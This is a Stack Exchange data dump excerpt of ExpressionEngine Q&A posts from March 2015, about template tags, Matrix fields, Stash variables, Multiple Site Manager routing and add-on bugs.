  <row Id="30373" PostTypeId="1" AcceptedAnswerId="30374" CreationDate="2015-03-04T20:05:56.450" Score="2" ViewCount="158" Body="&lt;p&gt;I'm trying to create a dropdown of matrix field data using the search form. It's outputting the matrix data, but I can't seem to figure out how to remove duplicate content. Say I'm using the data &quot;john doe&quot; on multiple entries -- it's showing for every entry, not just once. Is there any way to fix this? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form query=&quot;{segment_3}&quot;}   &#xA;    &amp;lt;label&amp;gt;Arranger:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;search:tags:arranger&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot;}&#xA;            {tags}&amp;lt;option value=&quot;{arranger}&quot;&amp;gt;{arranger}&amp;lt;/option&amp;gt;{/tags}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="973" LastEditorUserId="172" LastEditDate="2015-03-04T20:20:18.557" LastActivityDate="2015-03-04T21:20:02.587" Title="Low Search + Matrix field data" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30374" PostTypeId="2" ParentId="30373" CreationDate="2015-03-04T20:27:18.083" Score="1" Body="&lt;p&gt;You'll need to use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;the Query module&lt;/a&gt; for this. Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT col_id_X AS val FROM exp_matrix_data WHERE field_id = Y ORDER BY val&quot;}&#xA;  &amp;lt;option&amp;gt;{val}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where you need to replace &lt;code&gt;X&lt;/code&gt; with the correct column ID and &lt;code&gt;Y&lt;/code&gt; with the correct field ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Alternatively, you can try this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT col_id_X AS val FROM exp_matrix_data WHERE field_id = Y AND col_id_X != '' GROUP BY col_id_X ORDER BY val&quot;}&#xA;  &amp;lt;option&amp;gt;{val}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-03-04T21:20:02.587" LastActivityDate="2015-03-04T21:20:02.587" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30375" PostTypeId="1" AcceptedAnswerId="30382" CreationDate="2015-03-04T21:45:12.027" Score="0" ViewCount="41" Body="&lt;p&gt;I cannot open any child page generated by EE in 2 of my 3 sites which use Multiple Site Manager. Only my 'home site,' which contains all the EE system files, can open child pages. I have them listed below for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 1, can open child pages: &lt;a href=&quot;http://beta.autouplinktech.com&quot; rel=&quot;nofollow&quot;&gt;http://beta.autouplinktech.com&lt;/a&gt; (home site)&#xA;Site 2, cannot open child pages: &lt;a href=&quot;http://dev.autouplinkusa.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.autouplinkusa.com&lt;/a&gt;&#xA;Site 3, cannot open child pages: &lt;a href=&quot;http://dev.customerlifecycle.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.customerlifecycle.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2348" LastActivityDate="2015-03-05T18:55:23.810" Title="Cannot open any child page on site" Tags="|templates|multi-site-manager|children|child|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30376" PostTypeId="1" AcceptedAnswerId="30377" CreationDate="2015-03-04T22:09:30.743" Score="0" ViewCount="80" Body="&lt;p&gt;This one kept me busy for a while and I although could find similar questions none of the solutions worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using template partials, gather the page content then send though (via embed) to a master wrapper template. This site has 'pages' where the URL should identify a unique entry, but EE tries it's best to show something, adding &lt;code&gt;require_entry&lt;/code&gt; in the Channel tag should trigger &lt;code&gt;no_results&lt;/code&gt; if an entry can't be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{no_results}&lt;/code&gt; works as expected when trying the &lt;code&gt;channel:entries&lt;/code&gt; tag (below) outside of stash. Looking at stash docs, &lt;code&gt;unprefix&lt;/code&gt; is specifically for this scenario. The below code &lt;strong&gt;does&lt;/strong&gt; work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name        = &quot;st_page_content&quot;&#xA;    parse_tags  = &quot;yes&quot;&#xA;    unprefix    = &quot;my_prefix&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;            channel         = &quot;channel_short_name&quot;&#xA;            limit           = &quot;1&quot;&#xA;            require_entry   = &quot;yes&quot;&#xA;        }&#xA;&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;    {if my_prefix:no_results}&amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it &lt;strong&gt;doesn't&lt;/strong&gt; work when stashing multiple variables between 1 stash tag pair. Eg. &lt;code&gt;no_results&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; stored in &lt;code&gt;st_page_content&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name        = &quot;st_page_content&quot;&#xA;    parse_tags  = &quot;yes&quot;&#xA;    unprefix    = &quot;my_prefix&quot;&#xA;}&#xA;&#xA;    {stash:st_entry_id}{entry_id}{/stash:st_entry_id}&#xA;&#xA;    {stash:st_page_content}&#xA;&#xA;        {exp:channel:entries&#xA;                channel         = &quot;channel_short_name&quot;&#xA;                limit           = &quot;1&quot;&#xA;                require_entry   = &quot;yes&quot;&#xA;            }&#xA;&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;        {if my_prefix:no_results}&amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/stash:st_page_content}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2&lt;br&gt;&#xA;Stash 2.6.1 (Dev)&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2015-03-11T15:17:59.567" Title="Stash - tag pairs to set multiple variables at once - no results / no_results" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30377" PostTypeId="2" ParentId="30376" CreationDate="2015-03-04T22:09:30.743" Score="0" Body="&lt;p&gt;I feel the example code in the question should work but it doesn't. Here's a solution. I understand why it does work, but it &lt;em&gt;seems&lt;/em&gt; wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name        = &quot;st_page_content&quot;&#xA;    parse_tags  = &quot;yes&quot;&#xA;    unprefix    = &quot;my_prefix&quot;&#xA;}&#xA;&#xA;    {stash:st_entry_id}{entry_id}{/stash:st_entry_id}&#xA;&#xA;    {stash:st_page_content}&#xA;&#xA;        {exp:channel:entries&#xA;                channel         = &quot;channel_short_name&quot;&#xA;                limit           = &quot;1&quot;&#xA;                require_entry   = &quot;yes&quot;&#xA;            }&#xA;&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;        {if my_prefix:no_results}&amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/stash:st_page_content}&#xA;&#xA;    {if stash_prefix:no_results}&#xA;        {stash:st_page_content}{redirect=&quot;404&quot;}{/stash:st_page_content}&#xA;    {/if}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If EE can't find an entry, anything &lt;strong&gt;not&lt;/strong&gt; inside &lt;code&gt;no_results&lt;/code&gt; is discarded. So all that's left inside the &lt;code&gt;stash:set&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if stash_prefix:no_results}&#xA;    {stash:st_page_content}{redirect=&quot;404&quot;}{/stash:st_page_content}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now &lt;code&gt;st_page_content&lt;/code&gt; will store just the no_results content. It seems wrong to be setting the same variable twice but due to EEs parse order there's only ever one instance of &lt;code&gt;st_page_content&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Update 15/03/11&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After getting feedback from Mark, there's another solution, that's really not that different! &lt;a href=&quot;https://twitter.com/croxton/status/573949167824953344&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/croxton/status/573949167824953344&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;that's one way to do it. But you should be able to use&#xA;  {exp:stash:not_found} inside the first conditional to return your 404.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:not_found%7D#advanced-example&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp:stash:not_found%7D#advanced-example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this and it does &lt;strong&gt;not&lt;/strong&gt; work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name        = &quot;st_page_content&quot;&#xA;    parse_tags  = &quot;yes&quot;&#xA;    unprefix    = &quot;my_prefix&quot;&#xA;}&#xA;&#xA;    {stash:st_entry_id}{entry_id}{/stash:st_entry_id}&#xA;&#xA;    {stash:st_page_content}&#xA;&#xA;        {exp:channel:entries&#xA;                channel         = &quot;channel_short_name&quot;&#xA;                limit           = &quot;1&quot;&#xA;                require_entry   = &quot;yes&quot;&#xA;            }&#xA;&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;        {if my_prefix:no_results}&amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;        {if stash_prefix:no_results}&#xA;            {exp:stash:not_found}&#xA;        {/if}&#xA;&#xA;    {/stash:st_page_content}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting the &lt;code&gt;{exp:stash:not_found}&lt;/code&gt; in the first tag pair (&lt;code&gt;{stash:st_entry_id}&lt;/code&gt;) doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But similar to my original solution wrapping &lt;code&gt;{exp:stash:not_found}&lt;/code&gt; with the variable tag pair does work. This is exactly the same solution as using &lt;code&gt;{redirect=&quot;404&quot;}&lt;/code&gt; but maybe EEs redirect tag will cause problems in other circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name        = &quot;st_page_content&quot;&#xA;    parse_tags  = &quot;yes&quot;&#xA;    unprefix    = &quot;my_prefix&quot;&#xA;}&#xA;&#xA;    {stash:st_entry_id}{entry_id}{/stash:st_entry_id}&#xA;&#xA;    {stash:st_page_content}&#xA;&#xA;        {exp:channel:entries&#xA;                channel         = &quot;channel_short_name&quot;&#xA;                limit           = &quot;1&quot;&#xA;                require_entry   = &quot;yes&quot;&#xA;            }&#xA;&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;        {if my_prefix:no_results}&amp;lt;p&amp;gt;no results&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/stash:st_page_content}&#xA;&#xA;    {if stash_prefix:no_results}&#xA;        {stash:st_page_content}{exp:stash:not_found}{/stash:st_page_content}&#xA;    {/if}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2015-03-11T15:17:59.567" LastActivityDate="2015-03-11T15:17:59.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30378" PostTypeId="1" CreationDate="2015-03-04T22:39:21.267" Score="0" ViewCount="42" Body="&lt;p&gt;I just installed this module hoping to have the nice multi-select interface, but not so!  I'm seeing a javascript conflict in the console.  See screenshot attached.  Any thoughts to resolve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DS5PM.png&quot; alt=&quot;Generic Multi-select appearance&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dhSkO.png&quot; alt=&quot;console&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6096" LastEditorUserId="6096" LastEditDate="2015-03-04T22:59:08.197" LastActivityDate="2016-06-12T06:26:59.683" Title="MX Select Plus, multi-select style" Tags="|mx-select-plus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30379" PostTypeId="1" AcceptedAnswerId="30548" CreationDate="2015-03-04T23:58:36.337" Score="2" ViewCount="397" Body="&lt;p&gt;I have a site that had all its files erased and there are no backups, but I still have the database.  Is it possible to determine which specific version of EE it is, just by looking at the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And no, I was not responsible for backups.)&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2015-03-16T13:33:00.327" Title="Can you tell which version EE is just from the database?" Tags="|database|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30380" PostTypeId="2" ParentId="30379" CreationDate="2015-03-05T00:06:30.227" Score="0" Body="&lt;p&gt;potentially, if you restore the db and take a look at exp_sites table and then the site_system_preferences column, decode the encoded content using &lt;a href=&quot;https://www.base64decode.org&quot; rel=&quot;nofollow&quot;&gt;https://www.base64decode.org&lt;/a&gt; and it &lt;em&gt;might&lt;/em&gt; just provide the app_version if it was in the config originally.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-03-05T00:06:30.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30381" PostTypeId="2" ParentId="30379" CreationDate="2015-03-05T00:11:52.560" Score="1" Body="&lt;p&gt;If Steven's answer doesn't get you the version number, you could deduce the general version by the table names and native fields used and comparing them to the ExpressionEngine release notes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might not get you to an exact release but perhaps closer than not knowing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Update: you asked for a &quot;specific version of EE&quot;, which my suggestion will not get you.)&lt;/p&gt;&#xA;" OwnerUserId="239" LastActivityDate="2015-03-05T00:11:52.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30382" PostTypeId="2" ParentId="30375" CreationDate="2015-03-05T00:19:15.453" Score="0" Body="&lt;p&gt;This might be a problem with your .htaccess rule for removing index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I access this company page with index.php it works just fine: &lt;a href=&quot;http://dev.autouplinkusa.com/index.php/company&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dev.autouplinkusa.com/index.php/company&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have .htaccess file in place for all three sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://stackoverflow.com/questions/13227820/htaccess-on-expressionengine-msm-site&quot;&gt;https://stackoverflow.com/questions/13227820/htaccess-on-expressionengine-msm-site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-03-05T00:19:15.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30383" PostTypeId="1" CreationDate="2015-03-05T05:17:22.040" Score="1" ViewCount="61" Body="&lt;p&gt;&lt;strong&gt;The Situation:&lt;/strong&gt;&#xA;I'm building a new feature for a wildlife-based charity. They want to spice up their donation form to include images of relevant animals based on how users have been browsing the site. If a user checked out a page about Animal-X, when they hit the donation form, there should be a big image of Animal-X as well as other info stored in a Matrix entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't do the original build of the site, and the site's setup is a little different to what I'm used to: Each page starts with {embed:_templates/_standard} and then uses {exp:stash:set name=&quot;xxxx&quot;} to set content. The template at _standard is full of standard mark-up interspaced with {exp:stash:get}'s for content areas. I suspect this setup might have something to do with why I'm running into problems but the fact is I'm not well versed enough in stash or EE (yet!) to be able to identify why :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt;&#xA;I'm organising all my data in a Matrix inside a channel/channel entry (Donation Page Controller). This contains:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cause name (eg. 'animalx') This is what gets stored in the 'interest' session_variable&lt;/li&gt;&#xA;&lt;li&gt;List of page URLs that should set this interest&lt;/li&gt;&#xA;&lt;li&gt;Image of animal-x&lt;/li&gt;&#xA;&lt;li&gt;Text to use on Donation page&lt;/li&gt;&#xA;&lt;li&gt;Text to use on Thanks page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've also tried using a matrix in a Low Variable, but that didn't get me any closer to success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this at its most basic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On all pages:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;178&quot;} {!--access entry that contains data--}&#xA;    {donatable_causes} {!--matrix--}&#xA;        {if current_url == don_pages} {!--compare URL to matrix content's list of pages--}&#xA;            {exp:session_variables:set name='interest' value=&quot;{don_text}&quot;} {!--set the session var--}&#xA;        {/if}&#xA;    {/donatable_causes}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a heap of different variations on this; storing it in a seperate template, embedding, stashing, snippets, gv's... From what I can tell, setting the session_variable fires before the if conditional. So I tried using a stash:set scope='user' instead and getting to parse at the end, but I was getting a similar result. :(. I've tried everything I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On the donation page:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;178&quot; parse=&quot;inward&quot;}&#xA;    {donatable_causes}&#xA;        {if &quot;{exp:session_variables:get name='interest'}&quot; == &quot;{don_text}&quot;}&#xA;            {don_image}&#xA;        {/if}&#xA;    {/donatable_causes}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Solution:&lt;/strong&gt;&#xA;Ideally I'd like to be able to store the 'interest' in a exp:session_variable, and then access it later when building the form page, using it to pre-select an option in a drop-down, which then lazy-loads in other components like the image or some-such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something completely obvious? Am I doing this in a completely stupid way? Should I just be using a URL segment to do this (/donate/Animal-X) and use the drop-down to just push people to different pages? Should I just be working around with PHP? I'm really stuck :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be happy to use Mo' Variables, Stash, Session_variables, or Low Variables to accomplish this, or any mix of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you guys!&lt;/p&gt;&#xA;" OwnerUserId="6107" LastEditorUserId="6107" LastEditDate="2015-03-05T06:17:29.763" LastActivityDate="2015-03-05T06:17:29.763" Title="Using session_variables and conditionals with Matrix!" Tags="|matrix|stash|conditionals|low-variables|sessions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30384" PostTypeId="2" ParentId="30367" CreationDate="2015-03-05T05:57:59.290" Score="1" Body="&lt;p&gt;Interesting approach. I would typically have used Stash to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set a list of all my entries (capturing categories for each of them)&lt;/li&gt;&#xA;&lt;li&gt;set a list of all the categories I want&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then used nested &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; with &lt;code&gt;match_against&lt;/code&gt; to get entries ordered by categories. Same principle as &lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;this gist by Mark Croxton&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know if that would lower your number of queries, though.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-03-05T05:57:59.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30385" PostTypeId="1" CreationDate="2015-03-05T09:39:51.103" Score="0" ViewCount="44" Body="&lt;p&gt;I'm not sure which plugin is at fault here, but here goes. Using the latest version of all plugins, and EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an Importer task to create entries, from a feed of about 20. One field in this feed is an of images and alt text. This is mapped correctly to a Matrix field, and seemingly importing fine for all entries. See below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GRfiG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for some entries, when attempting to output in templates, these rows in the Matrix field aren't being displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{images:total_rows}'}&#xA;    {images}&#xA;        {image_src}&#xA;    {/images}&#xA;{if:else}&#xA;    no img&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's more, using the above code, you'd expect even if there was a problem with mapping, that &lt;code&gt;{images:total_rows}&lt;/code&gt; would return false, and print &lt;code&gt;no img&lt;/code&gt;. This isn't the case, and the whole code is seemingly skipped over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes me think this is an issue with Importer, is if I go to the offending entry, where I can see the rows in the Matrix as above, and re-save that entry (without changing anything) the templating works as expected. Is it somehow possible Importer isn't saving the Matrix field properly after importing?&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2015-03-06T06:57:26.330" Title="Matrix and Solspace Importer issue with saving properly" Tags="|matrix|solspace|pixelandtonic|solspace-importer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30387" PostTypeId="2" ParentId="30367" CreationDate="2015-03-05T10:34:32.490" Score="0" Body="&lt;p&gt;When using if conditionals you're going to have the overhead of parsing the template code within every condition and then getting rid of the ones that don't apply, for &lt;em&gt;every&lt;/em&gt; iteration of your loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Switchee should greatly reduce this overhead as it's going to get rid of the non-matching conditions and only parse the one that matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some good performance improvements just by moving to using Switchee rather than using regular conditionals.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-03-05T10:34:32.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30390" PostTypeId="1" CreationDate="2015-03-05T13:52:52.970" Score="1" ViewCount="64" Body="&lt;p&gt;I've been testing against Stripe Object details with Charge as per what is said in their documents.&#xA;Charge:info tag returns only {stripe_description}, but not these:&#xA;{stripe_customer} or {stripe_invoice}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone give a helping hand, or am I hitting bugs again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-03-05T13:52:52.970" Title="Charge: Stripe Object details does not work" Tags="|payment-gateway|charge|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30391" PostTypeId="2" ParentId="30385" CreationDate="2015-03-05T14:11:07.800" Score="1" Body="&lt;p&gt;I would query the matrix table for an entry that doesn't work and one that does and compare the 2 to see if there is any difference.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-03-05T14:11:07.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30392" PostTypeId="2" ParentId="30371" CreationDate="2015-03-05T14:52:59.193" Score="1" Body="&lt;p&gt;You need to post a page that has been assigned to use Structure. Check Structure » Settings and use one of those channels.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2015-03-05T14:52:59.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30393" PostTypeId="1" CreationDate="2015-03-05T15:50:57.827" Score="0" ViewCount="38" Body="&lt;p&gt;I have a custom module that members update team and player information.  I would like to use a channel for publishing match reports rather than code it into the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to call the content_publish from another module and populate two fields depending on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;logged in user or &#xA;part of the link or&#xA;add information to the url&lt;/p&gt;&#xA;" OwnerUserId="5029" LastActivityDate="2016-05-15T13:11:55.510" Title="Call EE publish from another module and prepopulate some fields" Tags="|channel-entries|channel|custom-fields|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30394" PostTypeId="1" AcceptedAnswerId="30410" CreationDate="2015-03-05T16:39:15.297" Score="1" ViewCount="65" Body="&lt;p&gt;In Structure you can get the parent entry_id using &lt;code&gt;{structure:parent:entry_id}&lt;/code&gt; but is there any way to get the grandparent entry_id?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-03-06T14:25:38.610" Title="Get grandparent entry_id with Structure" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30395" PostTypeId="1" CreationDate="2015-03-05T16:48:28.030" Score="0" ViewCount="24" Body="&lt;p&gt;I have a homepage with 4 blocks. Each block contains the latest entry from a category. Right now if one item is assigned to multiple categories then it displays in all the blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pull the latest item from each category and ensure that only distinct items appear in category block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="6109" LastActivityDate="2015-03-05T16:48:28.030" Title="Display latest entries in categories, only display distinct items per category" Tags="|categories|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30397" PostTypeId="2" ParentId="21678" CreationDate="2015-03-05T19:11:21.627" Score="0" Body="&lt;p&gt;Maybe take a look at Binder? It does the front end upload, not sure about progress bar mind you &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/binder&quot; rel=&quot;nofollow&quot;&gt;http://squarebit.co.uk/software/expressionengine/binder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-03-05T19:11:21.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30398" PostTypeId="2" ParentId="30393" CreationDate="2015-03-05T19:40:41.663" Score="0" Body="&lt;p&gt;It looks like you are looking for &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#Api_channel_entries::save_entry&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; which you can call in your module to publish an entry whenever module's action is triggered.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-05T19:40:41.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30399" PostTypeId="2" ParentId="30354" CreationDate="2015-03-05T20:16:45.557" Score="0" Body="&lt;p&gt;This is a known (and reported) issue with &lt;code&gt;{fileurl}&lt;/code&gt; where the URL gets URL-encoded, leading to URL entities in email notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can remove the URL-encoding by looking for the following like (around &lt;strong&gt;line 1747&lt;/strong&gt;) in &lt;strong&gt;/system/expressionengine/third_party/freeform/default_fields/freeform.ft_file_upload.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url        = urlencode($upload_prefs['url'] . $file_data['filename']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and changing it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url        = $upload_prefs['url'] . $file_data['filename'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-05T20:16:45.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
